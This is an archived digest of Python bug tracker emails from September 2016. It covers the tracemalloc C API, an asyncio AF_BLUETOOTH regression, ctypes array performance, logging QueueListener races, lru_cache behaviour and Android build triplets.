Antoine Pitrou added the comment:

Is the timeout part of the API? :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:24:46 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 13:24:46 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472736286.15.0.492760115725.issue26530@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Is the timeout part of the API? :-)

I don't want to make the API public before you validated that it is usable for your use case or to track numpy memory usage.

I guess that the first beta release of Python 3.6 is the deadline for this issue. Otherwise, we will have to wait ~2 years with Python 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:31:29 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 Sep 2016 13:31:29 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472736689.21.0.657141991967.issue26530@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

I may be a bit confused, but the "domain" integer you added in issue 26588 doesn't seem to be part of this API... Is it deliberate?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:56:25 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 13:56:25 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472738185.22.0.180461074045.issue26530@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> I may be a bit confused, but the "domain" integer you added in issue 26588 doesn't seem to be part of this API... Is it deliberate?

They are part of this API.

msg262180: """Ok, I added the following C functions:

  int _PyTraceMalloc_Track(_PyTraceMalloc_domain_t domain, Py_uintptr_t ptr, size_t size);
  int _PyTraceMalloc_Untrack(_PyTraceMalloc_domain_t domain, Py_uintptr_t ptr);

(...)"""

The domain 0 is used to track Python memory allocations.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:59:55 2016
From: report at bugs.python.org (Robert Jordens)
Date: Thu, 01 Sep 2016 13:59:55 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect brooken for
 AF_BLUETOOTH
Message-ID: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>


New submission from Robert Jordens:

Since 3.5.2 sock_connect() tries to be smart and resolves addresses for you if they fail a socket.inet_pton() check. But inet_pton() only supports AF_INET(6) and does not work for other address families that socket otherwise supports just fine (e.g. AF_BLUETOOTH).

Before 3.5.2, in order to happily use bluetooth sockets with asyncio, you could just do:

    sock = socket.socket(family=socket.AF_BLUETOOTH, type=socket.SOCK_STREAM,
                proto=socket.BTPROTO_RFCOMM)
    sock.setblocking(False)
    addr = "00:12:34:56:78:99"
    yield from loop.sock_connect(sock, (addr, 1))

This is a regression.

----------
components: Argument Clinic
messages: 274131
nosy: Robert.Jordens, larry
priority: normal
severity: normal
status: open
title: asyncio.AbstractEventLoop.sock_connect brooken for AF_BLUETOOTH
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:01:55 2016
From: report at bugs.python.org (Robert Jordens)
Date: Thu, 01 Sep 2016 14:01:55 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect brooken for
 AF_BLUETOOTH
In-Reply-To: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>
Message-ID: <1472738515.03.0.408328542085.issue27929@psf.upfronthosting.co.za>


Robert Jordens added the comment:

The error for inet_pton() is:

>>> import socket
>>> socket.inet_pton(socket.AF_BLUETOOTH, "00:12:34:56:78:99")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
socket.error: [Errno 97] Address family not supported by protocol

And the traceback in asyncio is:

DEBUG:asyncio:Using selector: EpollSelector
Traceback (most recent call last):
  File "log.py", line 91, in <module>
    main()
  File "log.py", line 84, in main
    loop.run_until_complete(log(loop, sys.argv[1]))
  File "/usr/lib/python3.5/asyncio/base_events.py", line 387, in run_until_complete
    return future.result()
  File "/usr/lib/python3.5/asyncio/futures.py", line 274, in result
    raise self._exception
  File "/usr/lib/python3.5/asyncio/tasks.py", line 241, in _step
    result = coro.throw(exc)
  File "log.py", line 22, in log
    yield from loop.sock_connect(sock, (addr, 1))
  File "/usr/lib/python3.5/asyncio/selector_events.py", line 397, in sock_connect
    yield from resolved
  File "/usr/lib/python3.5/asyncio/futures.py", line 361, in __iter__
    yield self  # This tells Task to wait for completion.
  File "/usr/lib/python3.5/asyncio/tasks.py", line 296, in _wakeup
    future.result()
  File "/usr/lib/python3.5/asyncio/futures.py", line 274, in result
    raise self._exception
  File "/usr/lib/python3.5/concurrent/futures/thread.py", line 55, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/usr/lib/python3.5/socket.py", line 732, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno -5] No address associated with hostname

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:03:01 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 Sep 2016 14:03:01 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472738581.46.0.466932596819.issue26530@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

Which patch are we talking about? In tracemalloc_track-3.patch, I see:

+   If memory block is already tracked, update the existing trace. */
+PyAPI_FUNC(int) _PyTraceMalloc_Track(void *ptr, size_t size);
+
+/* Untrack an allocated memory block in the tracemalloc module.
+   Do nothing if the block was not tracked.
+
+   Do nothing if tracemalloc is not tracing Python memory allocations. */
+PyAPI_FUNC(void) _PyTraceMalloc_Untrack(void *ptr);

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:11:59 2016
From: report at bugs.python.org (Robert Jordens)
Date: Thu, 01 Sep 2016 14:11:59 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect brooken for
 AF_BLUETOOTH
In-Reply-To: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>
Message-ID: <1472739119.24.0.4050881086.issue27929@psf.upfronthosting.co.za>


Changes by Robert Jordens <jordens at gmail.com>:


----------
components: +asyncio -Argument Clinic
nosy: +gvanrossum, haypo, yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:15:16 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 01 Sep 2016 14:15:16 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect broken for
 AF_BLUETOOTH
In-Reply-To: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>
Message-ID: <1472739316.07.0.39649556635.issue27929@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Thanks for the report! I'm unable to reproduce, as `socket.AF_BLUETOOTH` doesn't exist on my system, but surely someone else can.

----------
keywords: +3.5regression
nosy: +ebarry, ned.deily
priority: normal -> high
stage:  -> needs patch
title: asyncio.AbstractEventLoop.sock_connect brooken for AF_BLUETOOTH -> asyncio.AbstractEventLoop.sock_connect broken for AF_BLUETOOTH
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:38:40 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Thu, 01 Sep 2016 14:38:40 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472740720.47.0.936968775012.issue22458@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

Done:
https://github.com/python/performance/pull/10

Note that I didn't replace the existing telco benchmark as it is more specific to Decimal. The new benchmark makes it possible to compare the decimal and fractions modules for similar operations, though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:46:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 14:46:56 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472741216.38.0.0388976082642.issue26530@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Which patch are we talking about?

I'm talking about this change which was already merged into the default branch of Python in March 2016:

New changeset 60655e543d8a by Victor Stinner in branch 'default':
Add C functions _PyTraceMalloc_Track()
https://hg.python.org/cpython/rev/60655e543d8a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:49:22 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 Sep 2016 14:49:22 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472741362.98.0.482443389422.issue26530@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

Uh... ok, I thought you wanted some feedback on the patches posted, since I didn't know you had committed a new version of them.

I haven't tried to use the new API (for various reasons it's a bit cumbersome to use a self-compiled Python for Numba), but I'm sure it will be good enough.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:53:44 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 01 Sep 2016 14:53:44 +0000
Subject: [issue27926] ctypes is too slow to convert a Python list to a C array
In-Reply-To: <1472722275.26.0.560476389343.issue27926@psf.upfronthosting.co.za>
Message-ID: <1472741624.26.0.761485106454.issue27926@psf.upfronthosting.co.za>


Eryk Sun added the comment:

This is a consequence of several factors. It starts with the __init__ method of ctypes.Array, Array_init. This function doesn't hard-code calling the base sq_ass_item slot function, Array_ass_item. If it did, it wouldn't be nearly as slow. Instead it calls the abstract function PySequence_SetItem. Doing it this way accommodates an array subclass that overrides __setitem__. 

What I'd like to do here is check whether the sq_ass_item slot is defined as Array_ass_item, and if so call it directly instead of PySequence_SetItem. But it turns out that it's not set as Array_ass_item even if the subclass doesn't override __setitem__, and more than anything this is the real culprit for the relative slowness of Array_init.

If a built-in type such as ctypes.Array defines both mp_ass_subscript and sq_ass_item, then the __setitem__ wrapper_descriptor wraps the more generic mp_ass_subscript slot function. Then for a subclass, update_one_slot in Objects/typeobject.c plays it safe when updating the sq_ass_item slot. It sees that the inherited __setitem__ descriptor doesn't call wrap_sq_setitem, so it defines the slot in the subclass to use the generic function slot_sq_ass_item. 

This generic slot function goes the long way around to look up and bind the __setitem__ method and convert the Py_ssize_t index to a Python integer, to call the wrapper that calls the mp_ass_subscript slot. To add insult to injury, the implementation of this slot for a ctypes Array, Array_ass_subscript, has to convert back to a Py_ssize_t integer via PyNumber_AsSsize_t.

I don't know if this can be resolved while preserving the generic design of the initializer. As is, calling PySequence_SetItem in a tight loop is ridiculously slow. I experimented with calling Array_ass_item directly. With this change it's as fast as assigning to a slice of the whole array. Actually with a list it's a bit slower because *t has to be copied to a tuple. But it takes about the same amount of time as assigning to a slice when t is already a tuple, such as tuple(range(1000000)).

I doubt any amount of tweaking will make ctypes as fast as an array.array. ctypes has a generic design to accommodate simple C data, pointers, and aggregate arrays, structs, and unions. This comes with some cost to performance. However, you can and should make use of the buffer protocol to use arrays from the array module or numpy where performance is critical. It's trivial to create a ctypes array from an object that supports the buffer protocol. For example: 

    v = array.array('I', t)
    a = (ctypes.c_uint32 * len(v)).from_buffer(v)

There's no need to use the array.array's buffer_info() or ctypes.cast(). The from_buffer() method creates an array that shares the buffer of the source object, so it's relatively fast. It's also returning a sized array instead of a lengthless pointer (though it is possible to cast to an array pointer and immediately dereference the array).

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27926>
_______________________________________

From report at bugs.python.org  Thu Sep  1 10:54:15 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 01 Sep 2016 14:54:15 +0000
Subject: [issue27926] ctypes is too slow to convert a Python list to a C array
In-Reply-To: <1472722275.26.0.560476389343.issue27926@psf.upfronthosting.co.za>
Message-ID: <1472741655.72.0.616654178255.issue27926@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


----------
versions: +Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27926>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:15:59 2016
From: report at bugs.python.org (Petr Viktorin)
Date: Thu, 01 Sep 2016 15:15:59 +0000
Subject: [issue27930] logging's QueueListener drops log messages
Message-ID: <1472742959.65.0.510011909854.issue27930@psf.upfronthosting.co.za>


New submission from Petr Viktorin:

There are two "barrier" like abstractions on Lib/logging/handlers.py in the _monitor method.

First _monitor has two loops, what is already kind of a hint something is not right.

Second, it has two ways to exit the loop, that also exit the thread:
1) The _stop threading.Event is "set"
2) The _sentinel object is added to the queue

The problem is, the documentation says that the correct way to not loose records, the stop method must be called, but, the stop method just sets the _stop object and then adds the _sentinel object to the queue.

The loop stops when noticing that _stop is set, and then enters a second version of the loop, trying again to see the _sentinel object, but this time with non blocking read.

The test case shows the problem, but it also hints about the race conditions by the fact that running the test case under "taskset 1" works, so, to reproduce the issue, run the test under a multiprocessor environment.

The proper solution would be to have a proper locking mechanism, otherwise, the _stop object should not be used, and rely only in seeing the _sentinel field; this is what the class DeterministicQueueListener does in the test case.


(Reported by Paulo Andrade at https://bugzilla.redhat.com/show_bug.cgi?id=1370484 )

----------
components: Library (Lib)
files: test.py
messages: 274139
nosy: encukou, vinay.sajip
priority: normal
severity: normal
status: open
title: logging's QueueListener drops log messages
versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44323/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27930>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:29:39 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Thu, 01 Sep 2016 15:29:39 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
Message-ID: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>


New submission from ?????????? ??????:

Email lib fails to parse some emails:

from email._header_value_parser import get_angle_addr    get_angle_addr('<""@wiarcom.com> SIZE=28113').addr_spec

IndexError: list index out of range

Seems that email address can be parsed.

----------
components: email
messages: 274140
nosy: barry, r.david.murray, ?????????? ??????
priority: normal
severity: normal
status: open
title: Email parse IndexError <""@wiarcom.com>
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:32:10 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 01 Sep 2016 15:32:10 +0000
Subject: [issue27925] Nicer interface to convert hashlib digests to int
In-Reply-To: <1472718708.44.0.588974083433.issue27925@psf.upfronthosting.co.za>
Message-ID: <1472743930.68.0.036138329819.issue27925@psf.upfronthosting.co.za>


R. David Murray added the comment:

+1  I just wanted this recently.  Also note that going through hexdigest/int isn't particularly efficient, so an object-supported fast way to do this would be nice.

----------
nosy: +r.david.murray
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27925>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:32:13 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 01 Sep 2016 15:32:13 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect broken for
 AF_BLUETOOTH
In-Reply-To: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>
Message-ID: <1472743933.15.0.069487040258.issue27929@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Looks related (possibly a duplicate) of issue #27136. Also related is a fix for the latter in https://github.com/python/asyncio/pull/357. That fix is already in the CPython repo, but I guess it didn't make it into 3.5.2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:33:41 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 01 Sep 2016 15:33:41 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1472735490.46.0.233569434642.issue27906@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJKbm4Z6JB6Ky2Pq8Vc5d4BS_axNacDufbAzq2bPftGoYw@mail.gmail.com>


Guido van Rossum added the comment:

I'll try to get to this during the core dev sprint next week.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:34:33 2016
From: report at bugs.python.org (Okko Willeboordse)
Date: Thu, 01 Sep 2016 15:34:33 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
Message-ID: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>


New submission from Okko Willeboordse:

Running;
Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)] on win32

platform.win32_ver() returns;
('10', '10.0.10586', '', u'Multiprocessor Free')

----------
components: Windows
files: leaked_objects.txt
messages: 274144
nosy: Okko.Willeboordse, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: platform.win32_ver() leaks in 2.7.12
type: resource usage
versions: Python 2.7
Added file: http://bugs.python.org/file44324/leaked_objects.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:35:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 15:35:39 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <1472744139.76.0.0236775285785.issue27932@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Hum, can you please elaborate the issue? What is leaked_objects.txt?

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:38:35 2016
From: report at bugs.python.org (Okko Willeboordse)
Date: Thu, 01 Sep 2016 15:38:35 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744139.76.0.0236775285785.issue27932@psf.upfronthosting.co.za>
Message-ID: <CANndUd-nTtdb+G2Gk8K5jXsM+cawqeKMsupsuYBHfHSPAosyjQ@mail.gmail.com>


Okko Willeboordse added the comment:

I did a gc.get_objects() before and after platform.win32_ver() and printed
objects that were not present before calling platform.win32_ver().

If I run platform.win32_ver() in a loop I see the memory increasing.

On 1 September 2016 at 17:35, STINNER Victor <report at bugs.python.org> wrote:

>
> STINNER Victor added the comment:
>
> Hum, can you please elaborate the issue? What is leaked_objects.txt?
>
> ----------
> nosy: +haypo
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27932>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:41:03 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 01 Sep 2016 15:41:03 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
In-Reply-To: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>
Message-ID: <1472744463.98.0.336130911285.issue27931@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
stage:  -> needs patch
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:50:56 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 01 Sep 2016 15:50:56 +0000
Subject: [issue27925] Nicer interface to convert hashlib digests to int
In-Reply-To: <1472718708.44.0.588974083433.issue27925@psf.upfronthosting.co.za>
Message-ID: <1472745056.16.0.0710311812696.issue27925@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

"int(x)" looks nice to me as well.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27925>
_______________________________________

From report at bugs.python.org  Thu Sep  1 11:57:58 2016
From: report at bugs.python.org (Tom Cornebize)
Date: Thu, 01 Sep 2016 15:57:58 +0000
Subject: [issue27926] ctypes is too slow to convert a Python list to a C array
In-Reply-To: <1472722275.26.0.560476389343.issue27926@psf.upfronthosting.co.za>
Message-ID: <1472745478.01.0.259611267123.issue27926@psf.upfronthosting.co.za>


Tom Cornebize added the comment:

Thank you for these explanations.

I understand that we get a generic function to the cost of performances.

However, I think we should at least tell in the documentation that the constructor (ctypes.c_uint32 * len(t))(*t) is slow and that we can do much faster in some specific cases (e.g. an array of integers).

It would be even better to have some specific method(s) to do this in ctypes, instead of having to rely on an array.array just to build a ctypes array from a list. I am not familiar with CPython code, so I do not know if it would be easily feasible.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27926>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:08:44 2016
From: report at bugs.python.org (=?utf-8?b?0KTQtdC00L7RgCDQm9GP0L3Qs9GD0LfQvtCy?=)
Date: Thu, 01 Sep 2016 16:08:44 +0000
Subject: [issue27933] functools.lru_cache seems to not work when renaming
 decorated functions
Message-ID: <1472746124.57.0.326377422927.issue27933@psf.upfronthosting.co.za>


New submission from ????? ????????:

Greetings,

I've encountered strange behavior when using functools.lru_cache as a function (not as a decorator): it is at least miscounting misses, but probably not work at all, when the result of functools.lru_cache()(func) is saved in variable other than 'func'. Consider this snippet:

def factorial(n):
    if n == 0:
        return 1
    else:
        return n * factorial(n-1)

f = functools.lru_cache()(factorial)
f(20)
print(f.cache_info())

Output should be: CacheInfo(hits=0, misses=21, maxsize=128, currsize=21)
Instead it is: CacheInfo(hits=0, misses=1, maxsize=128, currsize=1)

I'm using Python 3.5.2 64bit on Windows 7 Professional 64bit.
I've written 3 unittests (using built-in module), which are attached as a file. I don't know how to comment them (conceptually, not syntactically), sorry.

Fedor

----------
components: Library (Lib)
files: lru_cache_test.py
messages: 274149
nosy: ????? ????????
priority: normal
severity: normal
status: open
title: functools.lru_cache seems to not work when renaming decorated functions
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44325/lru_cache_test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27933>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:18:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 01 Sep 2016 16:18:21 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472746701.05.0.740323211404.issue27928@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44326/Add-hashlib.scrypt.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:25:32 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 01 Sep 2016 16:25:32 +0000
Subject: [issue27933] functools.lru_cache seems to not work when renaming
 decorated functions
In-Reply-To: <1472746124.57.0.326377422927.issue27933@psf.upfronthosting.co.za>
Message-ID: <1472747132.32.0.61269700848.issue27933@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


----------
nosy: +ncoghlan, rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27933>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:26:19 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 01 Sep 2016 16:26:19 +0000
Subject: [issue27268] Incorrect error message on float('')
In-Reply-To: <1465396464.66.0.148764915141.issue27268@psf.upfronthosting.co.za>
Message-ID: <1472747179.71.0.0886387799466.issue27268@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Setting this aside for Nofar to review.

----------
assignee:  -> rhettinger
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27268>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:35:53 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 01 Sep 2016 16:35:53 +0000
Subject: [issue27933] functools.lru_cache seems to not work when renaming
 decorated functions
In-Reply-To: <1472746124.57.0.326377422927.issue27933@psf.upfronthosting.co.za>
Message-ID: <1472747753.43.0.0996727547652.issue27933@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

This behaviour is expected. The factorial function calls itself, it doesn't call "f", but it is "f" which has the cache. So the call to f() goes through the cache, misses, and then calls factorial(), which has no cache.

In effect, what you have written is something like:

def factorial(n):
    if n == 0:
        return 1
    else:
        return n * factorial(n-1)

def f(n):
    if n in f.cache:
        return f.cache[n]
    else:
        x = f.cache[n] = factorial(n)
        return x

f.cache = lru_cache()

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27933>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:39:53 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 01 Sep 2016 16:39:53 +0000
Subject: [issue27933] functools.lru_cache seems to not work when renaming
 decorated functions
In-Reply-To: <1472746124.57.0.326377422927.issue27933@psf.upfronthosting.co.za>
Message-ID: <1472747993.03.0.4957284443.issue27933@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

In case it isn't obvious, my example is meant to be pseudo-code, not the exact implementation used.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27933>
_______________________________________

From report at bugs.python.org  Thu Sep  1 12:55:45 2016
From: report at bugs.python.org (Israel Fruchter)
Date: Thu, 01 Sep 2016 16:55:45 +0000
Subject: [issue27376] Add mock_import method to mock module
In-Reply-To: <1466701937.33.0.949904358819.issue27376@psf.upfronthosting.co.za>
Message-ID: <1472748945.59.0.202730927327.issue27376@psf.upfronthosting.co.za>


Israel Fruchter added the comment:

Some real use cases is needed, like testing a code that behave differently on case of package availability.

I think something like patch for modules can be useful here, so you could have some control on what would be returned.

----------
nosy: +fruch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27376>
_______________________________________

From report at bugs.python.org  Thu Sep  1 13:06:26 2016
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 01 Sep 2016 17:06:26 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472749586.4.0.444831850093.issue27917@psf.upfronthosting.co.za>


Matthias Klose added the comment:

here's a patch, not yet including the ABI levels. I think we didn't need them for Linux, and maybe start for Android without using them. You can later introduce these if you have to.

----------
keywords: +patch
Added file: http://bugs.python.org/file44327/android.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Thu Sep  1 13:12:39 2016
From: report at bugs.python.org (Elias Zamaria)
Date: Thu, 01 Sep 2016 17:12:39 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472749959.93.0.314983539088.issue27923@psf.upfronthosting.co.za>


Elias Zamaria added the comment:

I tried running `hg import --no-commit "$(xclip -o)"` and got the following result:

bash: xclip: command not found
abort: need at least one patch to import

I am using OS X 10.11.6 and Mercurial 3.8.2. I did a bit of quick research on xclip, but it looks like yet another unfamiliar tool, and I don't know exactly what it does or how it is supposed to help me.

I looked at your suggestions for my patch, and I am working on them.

I am planning to look at the tutorial, and to look for, and maybe fix, deprecated calls, but so far, I don't have a clear idea how long it will take me, or if it is realistic for one person to do it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 13:48:54 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Thu, 01 Sep 2016 17:48:54 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1472752134.78.0.0564119974035.issue27917@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Well, here's a list of cross compilers in Android NDK:

$ ls $ANDROID_NDK/toolchains/*/prebuilt/*/bin/*-gcc | xargs -i basename '{}'     
aarch64-linux-android-gcc
arm-linux-androideabi-gcc
mips64el-linux-android-gcc
mipsel-linux-android-gcc
i686-linux-android-gcc
